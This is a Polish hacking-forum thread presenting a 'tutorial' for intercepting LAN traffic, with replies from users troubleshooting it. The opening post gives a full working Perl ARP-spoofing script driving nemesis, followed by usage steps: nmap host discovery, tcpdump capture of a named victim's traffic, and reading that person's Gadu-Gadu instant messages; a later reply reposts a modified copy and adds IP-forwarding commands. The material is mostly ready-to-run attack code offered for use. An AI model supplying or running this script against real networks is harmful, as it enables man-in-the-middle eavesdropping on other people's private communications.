Forum wszystko o hackingu i nie tylko Strona Główna
RejestracjaSzukajFAQUżytkownicyGrupyGalerieZaloguj
Przechwytywanie informacji w sieciach LAN - tutorial

 
Odpowiedz do tematu    Forum wszystko o hackingu i nie tylko Strona Główna » Przechwytywanie informacji w sieciach LAN Zobacz poprzedni temat
Zobacz następny temat
Przechwytywanie informacji w sieciach LAN - tutorial
Autor Wiadomość
haker512
Administrator
Administrator



Dołączył: 07 Lut 2007
Posty: 58
Przeczytał: 0 tematów

Ostrzeżeń: 0/5
Skąd: Kłodawa

Post Przechwytywanie informacji w sieciach LAN - tutorial
potrzebne:
-Linux Razz
-bibliotek Libnet 1.0.2a
-program Nemesis
-biblioteka Libpcap
-nmap

skrypt potrzebnego nam programu napisanego w perl:



Kod:
#!/usr/bin/perl

$gateway = shift;
$target = shift;
$time = shift;
$device = shift;

$i = 1;
$SIG{INT} = \&quit;

# Sprawdz poprawnosc argumentow przed startem

if ($gateway!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
  die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}


if ($target!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
  die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}


if ($time=~/^$/)
{
  $time = 10;
  print("[-] Interwal nieznany, przyjmuje 10 sekund.\n");
}

if ($time!~/^[0-9]+$/)
{
  die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}


if ($device=~/^$/)
{
  $device = "eth0";
  print("[-] Interfejs nieznany, przyjmuje eth0.\n");
}


# Odczytaj adresy MAC bramy i celu

print ("[+] Wysylam zadanie echa do $gateway.\n");
system("ping -c 1 -w 1 $gateway 2>&1 > /dev/null");

print ("[+] Wysylam zadanie echa do $target.\n");
system("ping -c 1 -w 1 $target 2>&1 > /dev/null");

# Pakiety wyslano, mozemy odczytac adresy MAC

print "[+] Odczytuje adresy MAC z pamieci podrecznej ARP.\n";
$gateway_mac = qx[arp -na $gateway];
$gateway_mac = substr($gateway_mac, index($gateway_mac, ":")-2, 17);

$target_mac = qx[arp -na $target];
$target_mac = substr($target_mac, index($target_mac, ":")-2, 17);

# Sprawdz czy odczytane adresy MAC sa poprawne

if($gateway_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
  die("[!] Nie moglem odczytac adresu MAC dla $gateway.");
}

if($target_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
  die("[!] Nie moglem odczytac adresu MAC dla $target.");
}

# Odczytaj wlasny adres IP oraz MAC

print "[+] Odczytuje wlasny adres IP oraz MAC, wykorzystujac ifconfig.\n";
@ifconf = split(" ", qx[ifconfig $device]);
$you = substr(@ifconf[6],5);
$you_mac = $ifconf[4];

print "[+] Interwal wysylania pakietow to $time sekund.\n\n";

print "-> Ty:      $you [$you_mac]\n";
print "-> Cel:     $target [$target_mac]\n";
print "-> Brama:   $gateway [$gateway_mac]\n\n";

# Wysylamy pakiety ARP

while($i)
{
  print "[+] Wysylam pakiet ARP: Powiedz $target, ze $gateway jest osiagalny pod $you_mac\n";
  system("nemesis arp -r -d $device -S $gateway -D $target -h $you_mac -m $target_mac -H $you_mac -M $target_mac 2>&1 > /dev/null");

  print "[+] Wysylam pakiet ARP: Powiedz $gateway, ze $target jest osiagalny pod $you_mac\n";
  system("nemesis arp -r -d $device -S $target -D $gateway -h $you_mac -m $gateway_mac -H $you_mac -M $gateway_mac 2>&1 > /dev/null");

  sleep $time;
}

# Wcisnieto ctrl+c, przywracamy oryginalne ustawienia

sub quit
{
  $i = 0;
  print "[-] Koniec programu. Przywracanie oryginalnych ustawien ARP.\n";
  system("nemesis arp -r -d $device -S $gateway -D $target -h $gateway_mac -m $target_mac -H $gateway_mac -M $target_mac 2>&1 > /dev/null");
  system("nemesis arp -r -d $device -S $target -D $gateway -h $target_mac -m $gateway_mac -H $target_mac -M $gateway_mac 2>&1 > /dev/null");
}





sposób używania:

Kod:
./arp.pl <adres bramy> <adres ofiary> <interwał> <interfejs>


nadajemy programowi prawa wykonywalności:

Kod:
chmod +x arp.pl


aby znaleźć aktywne komputery w sieci używamy programu nmap:

Kod:
nmap -sP 192.168.1.*


na jednej konsoli wpisujemy:

Kod:

tcpdump 'ip host <adres IP>'  np. tcpdump 'ip host 192.168.1.11'


na drukiej konsoli zaś uruchamiamy skrypt arp.pl:

Kod:
./arp.pl 192.168.1.3 192.168.1.11 (np.)


Aby podsłuchiwać rozmowy gadu-gadu na pierwszej konsoli wpisujemy:

Kod:
tcpdump -l -X `port 8074 && host 192.168.1.11`


a na drugiej uruchamiamy nasz skrypt:

Kod:
./arp.pl 192.168.1.3 192.168.1.11


Jako wynik powinniśmy otrzymać dośćczytelne wiadomości :]

i to by było na tyle Cool życzę miłej nauki.I przypominam o różnicy pomiędzy hackingiem a crackingiem Cool


Post został pochwalony 0 razy
Śro 19:54, 07 Lut 2007 Zobacz profil autora
Marthin
Lamer
Lamer



Dołączył: 07 Lut 2007
Posty: 3
Przeczytał: 0 tematów

Ostrzeżeń: 0/5
Skąd: Kłodawa

Post
Ciekawie przedstawione, ale narazie nie mam Linuxa Confused


Post został pochwalony 0 razy
Pią 20:56, 09 Lut 2007 Zobacz profil autora
sharq
Lamer
Lamer



Dołączył: 13 Lip 2007
Posty: 1
Przeczytał: 0 tematów

Ostrzeżeń: 0/5


Post
Witam,
wielkie dzięki.. Próbowałem ją na innym systemie (jakiś slax) i było dobrze. Obecnie chcę trochę pomieszać spod SUSE, wszystko zainstalowane więc:
Kod:
 ifconfig eth0 promisc

Kod:
 echo "1" > /proc/sys/net/ipv4/ip_forward

Kod:
 ./arp.pl <brama> <ofiara>

I skrypt zaczyna pracę. Działa niby prawidłowo, żadnych błędów nie wyrzuca, można zacząć sniffowanie, ale... Pakiety kierowane od ofiary do bramy odbieram bez problemu, jednak żadnej odpowiedzi na nie nie ma. Ofiara traci połączenie z netem :/
Chociaż się nie znam, wydaje mi się, że przyczyną może być ip_forward, spróbowałem ustawić forwardowanie jako default (W /etc/sysconfig/sysctl przestawiłem IP_FORWARD="no" na IP_FORWARD="yes" zresetowałem kompa ale problem pozostaje. Siedzę nad tym cały dzień i pomysłów brak...
Byłbym rly wdzięczny za jakąkolwiek pomoc...
Pozdro

PS. Probowalem przez arpspoofa i nadal to samo :/


Post został pochwalony 0 razy
Pią 19:01, 13 Lip 2007 Zobacz profil autora
haker1243
Lamer
Lamer



Dołączył: 25 Paź 2009
Posty: 4
Przeczytał: 0 tematów

Ostrzeżeń: 0/5


Post
mam prośbe dasz mi link do programu nemesis do biblioteki libnet i do biblioteki libpcap prosze bym był bardz wdzięczny a nmap mam na kompie list skierowany do adma haker 512


Post został pochwalony 0 razy
Nie 22:06, 25 Paź 2009 Zobacz profil autora
bestia
Lamer
Lamer



Dołączył: 15 Lis 2009
Posty: 1
Przeczytał: 0 tematów

Ostrzeżeń: 0/5
Skąd: Rydułtowy

Post
Witam,
mam trohe zmodyfikowany program arp.pl
Kod:

#!/usr/bin/perl

$gateway = shift;
$target = shift;
$time = shift;
$device = shift;

$i = 1;
$SIG{INT} = \&quit;

# Sprawdz poprawnosc argumentow przed startem

if ($gateway!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
  die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}


if ($target!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
  die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}


if ($time=~/^$/)
{
  $time = 10;
  print("[-] Interwal nieznany, przyjmuje 10 sekund.\n");
}

if ($time!~/^[0-9]+$/)
{
  die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}


if ($device=~/^$/)
{
  $device = "wlan0";
  print("[-] Interfejs nieznany, przyjmuje wlan0.\n");
}


# Odczytaj adresy MAC bramy i celu

print ("[+] Wysylam zadanie echa do $gateway.\n");
system("ping -c 1 -w 1 $gateway 2>&1 > /dev/null");

print ("[+] Wysylam zadanie echa do $target.\n");
system("ping -c 1 -w 1 $target 2>&1 > /dev/null");

# Pakiety wyslano, mozemy odczytac adresy MAC

print "[+] Odczytuje adresy MAC z pamieci podrecznej ARP.\n";
$gateway_mac = qx[arp -na $gateway];
$gateway_mac = substr($gateway_mac, index($gateway_mac, ":")-2, 17);

$target_mac = qx[arp -na $target];
$target_mac = substr($target_mac, index($target_mac, ":")-2, 17);

# Sprawdz czy odczytane adresy MAC sa poprawne

if($gateway_mac!~/^([a-f0-9]{2}\:){5}[a-f0-9]{2}$/)
{
  die("[!] Nie moglem odczytac adresu MAC dla $gateway.");
}

if($target_mac!~/^([a-f0-9]{2}\:){5}[a-f0-9]{2}$/)
{
  die("[!] Nie moglem odczytac adresu MAC dla $target.");
}

# Odczytaj wlasny adres IP oraz MAC

print "[+] Odczytuje wlasny adres IP oraz MAC, wykorzystujac ifconfig.\n";
@ifconf = split(" ", qx[ifconfig $device]);
$you = substr(@ifconf[6],5);
$you_mac = $ifconf[4];

print "[+] Interwal wysylania pakietow to $time sekund.\n\n";

print "-> Ty:      $you [$you_mac]\n";
print "-> Cel:     $target [$target_mac]\n";
print "-> Brama:   $gateway [$gateway_mac]\n\n";

# Wysylamy pakiety ARP

while($i)
{
  print "[+] Wysylam pakiet ARP: Powiedz $target, ze $gateway jest osiagalny pod $you_mac\n";
  system("nemesis arp -r -d $device -S $gateway -D $target -h $you_mac -m $target_mac -H $you_mac -M $target_mac 2>&1 > /dev/null");

  print "[+] Wysylam pakiet ARP: Powiedz $gateway, ze $target jest osiagalny pod $you_mac\n";
  system("nemesis arp -r -d $device -S $target -D $gateway -h $you_mac -m $gateway_mac -H $you_mac -M $gateway_mac 2>&1 > /dev/null");

  sleep $time;
}

# Wcisnieto ctrl+c, przywracamy oryginalne ustawienia

sub quit
{
  $i = 0;
  print "[-] Koniec programu. Przywracanie oryginalnych ustawien ARP.\n";
  system("nemesis arp -r -d $device -S $gateway -D $target -h $gateway_mac -m $target_mac -H $gateway_mac -M $target_mac 2>&1 > /dev/null");
  system("nemesis arp -r -d $device -S $target -D $gateway -h $target_mac -m $gateway_mac -H $target_mac -M $gateway_mac 2>&1 > /dev/null");
}


program odpalam:

Kod:

./arp.pl 192.168.2.78 192.168.2.11 10 wlan0



i zwraca mi:

Kod:

[+] Wysylam zadanie echa do 192.168.2.78.
[+] Wysylam zadanie echa do 192.168.2.11.
[+] Odczytuje adresy MAC z pamieci podrecznej ARP.
[!] Nie moglem odczytac adresu MAC dla 192.168.2.78. at ./arp.pl line 65.


Ma ktoś pomysł jak rozwiązać??


Post został pochwalony 0 razy
Nie 21:52, 15 Lis 2009 Zobacz profil autora
palkarz_85
Lamer
Lamer



Dołączył: 22 Lut 2010
Posty: 1
Przeczytał: 0 tematów

Ostrzeżeń: 0/5


Post
U mnie jest to samo na Ubuntu 9.04 i 9.10. Co może być tego powodem. Pamiętam że wersji 8 działało chyba.


Post został pochwalony 0 razy
Pon 12:44, 22 Lut 2010 Zobacz profil autora
hejman12
Lamer
Lamer



Dołączył: 26 Paź 2010
Posty: 1
Przeczytał: 0 tematów

Ostrzeżeń: 0/5


Post
a jak mam uruchomic skrypt arp.pl bo jak wpisuje w terminal to wyskakuje mi file no such of directory POMOCY a tgw to skrypt zapisalem z końcówką .pl na pulpicie


Post został pochwalony 0 razy
Wto 19:37, 26 Paź 2010 Zobacz profil autora
Wyświetl posty z ostatnich:    
Odpowiedz do tematu    Forum wszystko o hackingu i nie tylko Strona Główna » Przechwytywanie informacji w sieciach LAN Wszystkie czasy w strefie EET (Europa)
Strona 1 z 1

 
Skocz do: 
Nie możesz pisać nowych tematów
Nie możesz odpowiadać w tematach
Nie możesz zmieniać swoich postów
Nie możesz usuwać swoich postów
Nie możesz głosować w ankietach


fora.pl - załóż własne forum dyskusyjne za darmo
Powered by phpBB © 2001, 2005 phpBB Group
Design by Freestyle XL / Music Lyrics.
Regulamin